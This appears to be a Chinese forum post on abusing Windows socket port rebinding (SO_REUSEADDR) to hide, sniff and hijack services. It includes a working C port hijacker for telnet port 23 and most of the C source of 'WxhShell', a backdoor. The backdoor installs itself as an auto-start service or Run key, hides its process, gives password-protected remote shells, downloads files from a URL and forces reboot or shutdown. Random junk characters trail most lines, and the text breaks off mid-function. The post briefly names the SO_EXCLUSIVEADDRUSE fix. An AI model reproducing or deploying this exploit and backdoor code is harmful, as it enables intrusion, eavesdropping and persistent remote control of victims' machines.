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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !&eKq?P{j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !=3Ce3-  
w *pTK +  
  saddr.sin_family = AF_INET; sBq-"YcjR  
v 1.8]||^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m{w'&\T  
BNw};.lO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 69"4/n7B?  
u\y$<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GXnrVI  
De-hHY{>  
  这意味着什么?意味着可以进行如下的攻击: gX%"Ki7.  
V+$^4Ht  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0X<U.Sxn  
d}w}VL8l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3a\De(;  
u*S-Pji,x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /'l"Us},^!  
E]P7u"1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yg^ 4<A  
]3\%i2NM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "!B\c9q  
gTQc=,3l3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FKH_o  
FX  %(<M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v;sWI"Fv!  
h}U>K4BJ  
  #include Wt M1nnJp  
  #include hh[@q*C  
  #include @kPe/j/[1  
  #include    1\X_B`xwD  
  DWORD WINAPI ClientThread(LPVOID lpParam);   . #FJM2Xk  
  int main() Y6[ O s1  
  { m S4N%Q  
  WORD wVersionRequested; 'Ul^V  
  DWORD ret; lD#S:HX  
  WSADATA wsaData; xE5VXYU  
  BOOL val; b{Bef*`/  
  SOCKADDR_IN saddr; edL sn>\*#  
  SOCKADDR_IN scaddr; Vo;0i$  
  int err; ;L@p|]fu  
  SOCKET s; O>LqpZ  
  SOCKET sc; zN&m-nrw  
  int caddsize; <'N~|B/yZ  
  HANDLE mt; N[zR%(YS  
  DWORD tid;   [OYSNAs *y  
  wVersionRequested = MAKEWORD( 2, 2 ); E*vh<C  
  err = WSAStartup( wVersionRequested, &wsaData ); .O&[9`"'  
  if ( err != 0 ) { xdgbs-a)  
  printf("error!WSAStartup failed!\n"); 6W/uoH=;  
  return -1; ;w<r/dK   
  } H oO1_{q"  
  saddr.sin_family = AF_INET; }F';"ybrU)  
   _oE 7<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =X;h _GQ  
m2\[L/W]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v:gdG|n"  
  saddr.sin_port = htons(23); (XNd]G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +[` )t/   
  { m^o?{ (K  
  printf("error!socket failed!\n"); oi7Y?hTj  
  return -1; 4jw q$G  
  } n+1`y8dy  
  val = TRUE; )tx2lyY:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9hei8L:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d-jZ5nl(  
  { "9#hk3*GqX  
  printf("error!setsockopt failed!\n"); ) S-Fuq4i4  
  return -1; :0kKw=p1R  
  } Fu>;hx]s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T[- %b9h>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;qs^+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (7C$'T-ZK  
@GWlo\rM6^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p+;;01Z+_  
  { 5Y>fVq{U?;  
  ret=GetLastError(); f{-,"6Y1  
  printf("error!bind failed!\n"); u/apnAW@M  
  return -1; Zm vtUma  
  } a/n~#5-  
  listen(s,2); (\%J0kR3[  
  while(1) ~g}blv0q+B  
  { lXRB"z  
  caddsize = sizeof(scaddr); r-_-/O"l  
  //接受连接请求 eB9F35[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $+ORq3  
  if(sc!=INVALID_SOCKET) uMjL>YLq{?  
  { qu0 q LM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i(4.7{*  
  if(mt==NULL) y/>Nx7C0=2  
  { BKK@_B"  
  printf("Thread Creat Failed!\n"); *rVI[k L  
  break; 63'L58O  
  } N}Or+:"O:q  
  } NNBT.k3)  
  CloseHandle(mt); x@*?~1ai  
  } zp\_5[qJ;  
  closesocket(s); G_}oI|B  
  WSACleanup(); 44pVZ5c  
  return 0; AZ SaI  
  }   ,x utI  
  DWORD WINAPI ClientThread(LPVOID lpParam) L7"<a2J  
  { C'PHbo:  
  SOCKET ss = (SOCKET)lpParam; lNMJcl3  
  SOCKET sc; s$~H{za  
  unsigned char buf[4096]; `)NTJc$):  
  SOCKADDR_IN saddr; CdKs+x&tZ  
  long num; G+t zp&G@  
  DWORD val; SduUXHk  
  DWORD ret; jGYl*EBx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v}<z_i5/C.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y\:,.cZ+TQ  
  saddr.sin_family = AF_INET; [$M l;K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Yc5<Y-W  
  saddr.sin_port = htons(23); Lr Kx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RN$q,f[#  
  { MEOfVh  
  printf("error!socket failed!\n"); r;O?`~2'4  
  return -1; M"foP@  
  } Pr,C)uch  
  val = 100; _MTvNs  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 88}04  
  { 2<*Yq 8  
  ret = GetLastError(); N6v*X+4JH  
  return -1; y2PxC. -  
  } &zPM# Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !lKDNQ8>["  
  { qv`:o `  
  ret = GetLastError(); W$` WkR  
  return -1; +!t *LSF  
  } I]B9+Z?xo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5a/3nsup5  
  { \5b<!Nl  
  printf("error!socket connect failed!\n"); =nCV. Wf  
  closesocket(sc); &<) _7?  
  closesocket(ss); wKJK!P  
  return -1; KF7d`bRe  
  } PAiVUGp5[  
  while(1) NJKk\RM@7  
  { akQb%Wq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eTt{wn;6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5;[0Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?[ D6|gp  
  num = recv(ss,buf,4096,0); R=W$3Ue~,  
  if(num>0) 7N0m7SC  
  send(sc,buf,num,0); #Z]<E6<=9  
  else if(num==0) vIFx'S~D  
  break; (JiEV3GH  
  num = recv(sc,buf,4096,0); Koz0Xy  
  if(num>0) ktv{-WG2_  
  send(ss,buf,num,0); AI .2os*  
  else if(num==0) >Lz2zlZI  
  break; |\]pTA$2  
  } i k0w\*  
  closesocket(ss); ^1ks`1  
  closesocket(sc); eoPoG C  
  return 0 ; mW)"~sA  
  } C |rl",&  
'YEiT#+/  
e co=ia  
========================================================== !Tu.A@  
*gI9CVfQl  
下边附上一个代码,,WXhSHELL 5JZZvc$au  
ND5E`Va5R  
========================================================== /PkOF ((  
*JaFt@ x  
#include "stdafx.h" C,u;l~zz  
.|K\1qGW0  
#include <stdio.h> \)PS&Y8n  
#include <string.h> U4Pk^[,p1G  
#include <windows.h>  *8 ]  
#include <winsock2.h> U9AtC.IG!  
#include <winsvc.h> CjA}-ee  
#include <urlmon.h> +Jc-9Ko\c;  
'`p0T%w  
#pragma comment (lib, "Ws2_32.lib") vaZ?>94  
#pragma comment (lib, "urlmon.lib") F#{ PJ#  
U3w*z6OG  
#define MAX_USER   100 // 最大客户端连接数 r3.v^  
#define BUF_SOCK   200 // sock buffer wD[qE  
#define KEY_BUFF   255 // 输入 buffer hpticW|  
St1>J.k_  
#define REBOOT     0   // 重启 c{f1_qXN  
#define SHUTDOWN   1   // 关机 8\Eq(o}7  
7M9s}b%?  
#define DEF_PORT   5000 // 监听端口 5?|PC.  
.T*7nw  
#define REG_LEN     16   // 注册表键长度 $w<~W1\:  
#define SVC_LEN     80   // NT服务名长度 ..^,*  
k_Edug~B  
// 从dll定义API yDw^xGws  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "?sLi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5{6ebq55"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nzu 3BVv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H %PIE1_  
;:gx;'dm5  
// wxhshell配置信息 Eb9M;u  
struct WSCFG { )5bdWJ>l  
  int ws_port;         // 监听端口  ,#-^  
  char ws_passstr[REG_LEN]; // 口令 ZZ6F0FLXJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9$'Edi=6  
  char ws_regname[REG_LEN]; // 注册表键名 Va'K~$d_  
  char ws_svcname[REG_LEN]; // 服务名 iAW oKW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sfNAGez  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BcoE&I?[m|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <kor;exeJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %u|qAF2uS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~LzTqMHM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k)USLA  
r,dxW5v.  
}; ^A$~8?f  
BF6H_g  
// default Wxhshell configuration ihhnB  
struct WSCFG wscfg={DEF_PORT, 3'2}F%!Mv  
    "xuhuanlingzhe", oAp I/o  
    1, l@YpgyqaL  
    "Wxhshell", & ~[%N O  
    "Wxhshell", Wkv **X}  
            "WxhShell Service", Afa{f}st  
    "Wrsky Windows CmdShell Service", g@"6QAP  
    "Please Input Your Password: ", O^gq\X4}  
  1, PZl(S}VY  
  "http://www.wrsky.com/wxhshell.exe", 9uREbip  
  "Wxhshell.exe" u]c nbm  
    }; UoxF00H@!  
)u&_}6z  
// 消息定义模块 9~mi[l~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `0Q:d'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aa1XY&G"!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;7<a0HZ5!  
char *msg_ws_ext="\n\rExit."; j|(bDa4\  
char *msg_ws_end="\n\rQuit."; i]LK,'  
char *msg_ws_boot="\n\rReboot..."; \9k{"4jX\  
char *msg_ws_poff="\n\rShutdown..."; Xl*-A|:j  
char *msg_ws_down="\n\rSave to "; |qNrj~n@  
LGCL*Qbsg  
char *msg_ws_err="\n\rErr!"; _?_Svx2  
char *msg_ws_ok="\n\rOK!"; <FK7Rz:4T  
0+:.9*g=k  
char ExeFile[MAX_PATH]; ^NLKX5Q  
int nUser = 0; x{*!"a>  
HANDLE handles[MAX_USER]; S8vmXlD  
int OsIsNt; k*c:%vC!  
@4B2O"z`  
SERVICE_STATUS       serviceStatus; U w`LWG3T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +msHQk5#$m  
UmgLH Cz  
// 函数声明 gkk< -j'  
int Install(void); <p0$Q!^dK=  
int Uninstall(void); 8h20*@wSN  
int DownloadFile(char *sURL, SOCKET wsh); -{b1&  
int Boot(int flag); 6eK^T=  
void HideProc(void); e#HP+b$  
int GetOsVer(void); FvI`S>  
int Wxhshell(SOCKET wsl); L kq>>?T=  
void TalkWithClient(void *cs); TcfBfscU  
int CmdShell(SOCKET sock); Jp-ae0 Ewa  
int StartFromService(void); X)f"`$  
int StartWxhshell(LPSTR lpCmdLine); kdYl>M  
#1bgV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Em"X5>;4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '/ &"  
:M[E-j;  
// 数据结构和表定义 4l`gAE$  
SERVICE_TABLE_ENTRY DispatchTable[] = \]ODpi 2  
{ #!D5DK@+  
{wscfg.ws_svcname, NTServiceMain}, wD,F=O  
{NULL, NULL} WNYLQ=;  
}; V_W=MWs&+  
(kuZS4Af  
// 自我安装 wbS++cF<  
int Install(void) 610k#$  
{ ^&rb I,D  
  char svExeFile[MAX_PATH]; }t-r:R$,  
  HKEY key; N~ozyIP,  
  strcpy(svExeFile,ExeFile); iRVLo~  
%-'U9e KN  
// 如果是win9x系统,修改注册表设为自启动 6HqK%(  
if(!OsIsNt) { L2h+[f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 99:L#0!.W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }b^lg&$(  
  RegCloseKey(key); )eV40l$ M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w9PY^U.Y3e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v/haUPWF\  
  RegCloseKey(key); |B`tRq  
  return 0; pq&c]8H  
    } _INUJc  
  } TnaIRJ\B  
} aBC[(}Pb]  
else { YaT07X.(b  
B&$89]gs|  
// 如果是NT以上系统,安装为系统服务 ~3Y NHm6V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2$ rq  
if (schSCManager!=0) y d$37G|n  
{ 2Ls<OO  
  SC_HANDLE schService = CreateService &4[iC/}  
  ( 1<p"z,c  
  schSCManager, E>1USKxn  
  wscfg.ws_svcname, -?'CUm*Od  
  wscfg.ws_svcdisp, "}EbA3  
  SERVICE_ALL_ACCESS, f\^QV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WE7l[<b  
  SERVICE_AUTO_START, 7@"X~C  
  SERVICE_ERROR_NORMAL, XHg %X  
  svExeFile, Q}T9NzOH%  
  NULL, rN~`4mZ  
  NULL, By_Ui6:D  
  NULL, QaO`:wJj  
  NULL, DRIv<=Bt  
  NULL R`&ioRWj  
  ); J?<L8;$s7  
  if (schService!=0) ]O\W<'+V  
  { 4dK@UN\  
  CloseServiceHandle(schService); K]oPh:E  
  CloseServiceHandle(schSCManager); ?f`-&c;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F1=+<]!  
  strcat(svExeFile,wscfg.ws_svcname); v8IL[g6"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S_CtE M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vSA%A47G  
  RegCloseKey(key); FTfA\/tl(;  
  return 0; / fq6-;co+  
    } PS22$_}   
  } IXN4?=)I  
  CloseServiceHandle(schSCManager); M5V1j(URE  
} g3XAs@  
} !%X`c94  
D+3Y.r 9  
return 1; z Y|g#V-  
} "p{ '984r<  
K?je(t^  
// 自我卸载 9wAc&nl-Y  
int Uninstall(void) a=FRJQ8S  
{ @^%_ir(  
  HKEY key; NHF?73:  
*La =7y:  
if(!OsIsNt) { M::iU_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #0D.37R+k  
  RegDeleteValue(key,wscfg.ws_regname); |7$h@KF=S  
  RegCloseKey(key); TH!8G,(w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \G@6jn1G(  
  RegDeleteValue(key,wscfg.ws_regname); SA1/U  
  RegCloseKey(key); G~L?q~b  
  return 0; 0d ->$gb  
  } sriz b  
} VWv0\:,G  
} ? ^CGJ1  
else { wjJ1Psnx  
'5U$`Xe1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R6XMBYK^  
if (schSCManager!=0) m4wTg 8LJ  
{ ["<(\v9P)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c1J)yv1y  
  if (schService!=0) h$k3MhYDes  
  { '>Y 2lqa  
  if(DeleteService(schService)!=0) { |mmG s  
  CloseServiceHandle(schService); He!!oKK>  
  CloseServiceHandle(schSCManager); A*~1Uz\t  
  return 0; lKUm_; m  
  } %},G(>  
  CloseServiceHandle(schService); ]P$DAi   
  } <\g&%c,   
  CloseServiceHandle(schSCManager); ~,68S^nP)H  
} @t8kN6.  
} ~bTae =FP  
-<!17jy  
return 1; 1>VS/H`  
} p8dn-4  
X); Zm7  
// 从指定url下载文件 &;U7/?Q  
int DownloadFile(char *sURL, SOCKET wsh) Q; /F0JDH  
{ Ch9!AUiR  
  HRESULT hr; +~ Ay h[V  
char seps[]= "/"; O)uM&B=  
char *token; 1cBhcYv"  
char *file; EE6|9K>  
char myURL[MAX_PATH]; bTGK@~  
char myFILE[MAX_PATH]; FraW6T}_  
d J:x1j  
strcpy(myURL,sURL); Q'% o;z*  
  token=strtok(myURL,seps); _-J@$d%  
  while(token!=NULL) sC_UalOC_  
  { 4E\ntufo  
    file=token; V55J[s*6!  
  token=strtok(NULL,seps); [=6~"!P}  
  } q)ql]iH  
>Ryss@o  
GetCurrentDirectory(MAX_PATH,myFILE); {IHK<aW  
strcat(myFILE, "\\"); aSkx#mV  
strcat(myFILE, file); cC^C7AAq^  
  send(wsh,myFILE,strlen(myFILE),0); ;kW}'&Ug  
send(wsh,"...",3,0); F ssEs!#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #pQ"+X  
  if(hr==S_OK) Df~p 'N-$  
return 0; (Q8 ?)  
else |p -R9A*>h  
return 1; OsL%SKs|  
LDEW00zL  
} `uZv9I"  
BDkBYhz;7  
// 系统电源模块 #7-@k-<|  
int Boot(int flag) :n9xH  
{ C'czXZtn  
  HANDLE hToken; nQ17E{^pR  
  TOKEN_PRIVILEGES tkp; <yI,cM<c  
!LIfeL.4h  
  if(OsIsNt) { T#G<?oF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); - (_e=3$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p?$G>nkdq  
    tkp.PrivilegeCount = 1; R:OU>HsdX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } .3]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3U"')  
if(flag==REBOOT) { Dbdzb m7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )6:]o&bZ  
  return 0; Lv5X 'yM  
} aZjef  
else { 2\63&C^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f\);HJbg  
  return 0; M"5!s,  
} kq%gY  
  } P%@rH@^Y  
  else { :{b6M/  
if(flag==REBOOT) { R mW fV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XMEK5Z9Dd  
  return 0; fb"J Bc}X  
} 6~F#F)C'  
else { c Z6p^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AuDR |;i  
  return 0; e(w/m(!Wny  
} { w8 !K  
} qE`:b0FT  
gJPDNZ*6pk  
return 1; mvTyx7 h=  
} `e?;vA&  
Q6.*"`  
// win9x进程隐藏模块 qTTn51  
void HideProc(void) 9R@abm,I  
{ ~+<xFi  
U8K &Q4^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6<s(e_5f  
  if ( hKernel != NULL ) 7^I$%o1g  
  { jj3Pf>D+k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vo9>o@FlLM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'EL ||  
    FreeLibrary(hKernel); dF{6>8D=5B  
  } 6mBDd>`0  
VPM|Rj:d  
return; +#*&XX5A#?  
} kQwm"Z  
L7Qo-  
// 获取操作系统版本 ]D{c4)\7C|  
int GetOsVer(void) Bn1L?>G  
{ r}R^<y@I  
  OSVERSIONINFO winfo; dqD;y#/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8K.s@<  
  GetVersionEx(&winfo); oE!hF}O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }0BL0N`_  
  return 1; NqT1buU#  
  else 8lOZ IbwS  
  return 0; ..jq[(;N  
} 8B*E+f0  
x/%7%_+'  
// 客户端句柄模块 rkfQr9Vc  
int Wxhshell(SOCKET wsl) ]{|fYt_-  
{ "u<jbD  
  SOCKET wsh;  /[Bl  
  struct sockaddr_in client; }%!FMXe  
  DWORD myID; Lf^5Eo/ 5A  
JlC<MQ?  
  while(nUser<MAX_USER) J[}gku?C;  
{ &;ZC<?wS  
  int nSize=sizeof(client); ~VqFZasV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yX7CN5vVl  
  if(wsh==INVALID_SOCKET) return 1; }c` ?0FQ  
#)_J)/h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _8[UtZYG  
if(handles[nUser]==0) ^e?$ ]JiA!  
  closesocket(wsh); F2bm+0vOJ  
else e86Aqehle  
  nUser++; 'bB>$E  
  } U_ x0KIm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J16=!q()  
1Q&cVxA"\  
  return 0; v#<\:|XAg  
} 2q"_^deI5*  
=MTj4VXh"  
// 关闭 socket <#xrrRhm}  
void CloseIt(SOCKET wsh) R=\v3m  
{ Job/@> ;  
closesocket(wsh); M8 iEVJ  
nUser--; >.J'L5 x$  
ExitThread(0); n 5~=qQK2  
} CgVh\4,a  
<\, & :<  
// 客户端请求句柄 UvPp~N 7,  
void TalkWithClient(void *cs) K4j@j}zK9I  
{ +jq 2pFQ  
:v#k&Uh3y  
  SOCKET wsh=(SOCKET)cs; <K.Bq]  
  char pwd[SVC_LEN]; I:F'S#  
  char cmd[KEY_BUFF]; EvwbhvA(  
char chr[1]; 0=OD?48<  
int i,j; E x_L!9>!  
D^,\cZbY  
  while (nUser < MAX_USER) { T(Y}V[0+  
[urH a  
if(wscfg.ws_passstr) { )UR1E?'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J#6LSD@ (O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n&_YYEHx  
  //ZeroMemory(pwd,KEY_BUFF); QjQ4Z'.r>  
      i=0; |yLk5e~@-  
  while(i<SVC_LEN) { i[^k.W3gf  
1KW3l<v-6  
  // 设置超时 HR[Q ?rg  
  fd_set FdRead; `6rrXU6|  
  struct timeval TimeOut; .r~'(g{qt  
  FD_ZERO(&FdRead); TT|-aS0l(u  
  FD_SET(wsh,&FdRead); HS{P?~:=U  
  TimeOut.tv_sec=8; C0zrXhY_v  
  TimeOut.tv_usec=0; @ (i*-u3Tq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jZrY=f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]|,vCKju  
iH[E= 6*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BiA >QQ  
  pwd=chr[0]; Ru)(dvk}S  
  if(chr[0]==0xd || chr[0]==0xa) { e@[9C(5E"  
  pwd=0; >RM 0=bO  
  break; [/?c@N,  
  } w3<Z?lj:  
  i++; EtGH\?d~]  
    } ?Rlgv5P!  
Y.E?;iS  
  // 如果是非法用户,关闭 socket wOjv[@d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >[K0=nA  
} mDZ=Due1  
(Ar?QwP9>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~Y% : 3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,MRvuw0P  
* !X4&#xP  
while(1) { /[0F6  
gC0;2  
  ZeroMemory(cmd,KEY_BUFF); =Wj{]&`  
O-Dc[t%  
      // 自动支持客户端 telnet标准   iNt 4>  
  j=0; otU@X 3<_  
  while(j<KEY_BUFF) { _]P a>8X*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _=uviMuE  
  cmd[j]=chr[0]; %=BtOM_2  
  if(chr[0]==0xa || chr[0]==0xd) { . /Y&\<  
  cmd[j]=0; m+H%g"Zj  
  break; :#Ty^-"]1  
  } *h2`^Z  
  j++; s){Q&E~X  
    } 7O:"~L  
5KK{%6#f\  
  // 下载文件 "rVU4F)  
  if(strstr(cmd,"http://")) { T 4eWbNSs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); THJ 3-Ug  
  if(DownloadFile(cmd,wsh)) ~fBex_.o*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j13riI3A  
  else Ex 6o=D2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @2u#93Y  
  } D{>\-]\  
  else { N50fL  
sqT^t!  
    switch(cmd[0]) { 6Hda]y  
  #aa1<-&H  
  // 帮助 rxs8De  
  case '?': { B9}E {)T?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M=W 4:H,gx  
    break; 691G15  
  } ]s _@n!  
  // 安装 au}s=ua~i  
  case 'i': { "tKNlHBu'  
    if(Install()) k9 l^6#<?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  *=TYVM9  
    else xLZ bU4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZlrhC= 0  
    break; s*f1x N<  
    } qT$ )Rb&  
  // 卸载 Y5n>r@ )m  
  case 'r': { J=@xAVBc  
    if(Uninstall()) |f<9miNu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V7BsEw  
    else B7|c`7x(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -rO*7HO  
    break; 5:$Xtq  
    } KYf;_C,$  
  // 显示 wxhshell 所在路径 fL2^\dB;  
  case 'p': { !f`5B( @  
    char svExeFile[MAX_PATH]; [$;,Ua-mt  
    strcpy(svExeFile,"\n\r"); 9Yn)t#G'`F  
      strcat(svExeFile,ExeFile); y=#j`MH{>  
        send(wsh,svExeFile,strlen(svExeFile),0); o~;M"  
    break; @*SA$9/l  
    } 2Q}7fht  
  // 重启 1#]B^D  
  case 'b': { O~atNrHD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7u|%^Ao6  
    if(Boot(REBOOT)) {d,?bs)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3+%nn+m  
    else { z<i,D08|d  
    closesocket(wsh); ;7L;  
    ExitThread(0); 3 &Sp@,  
    } =D5wqCT(Q  
    break; |WBZN1W)  
    } ZB$NVY  
  // 关机 SetX#e?q~  
  case 'd': { fQO ""qh  
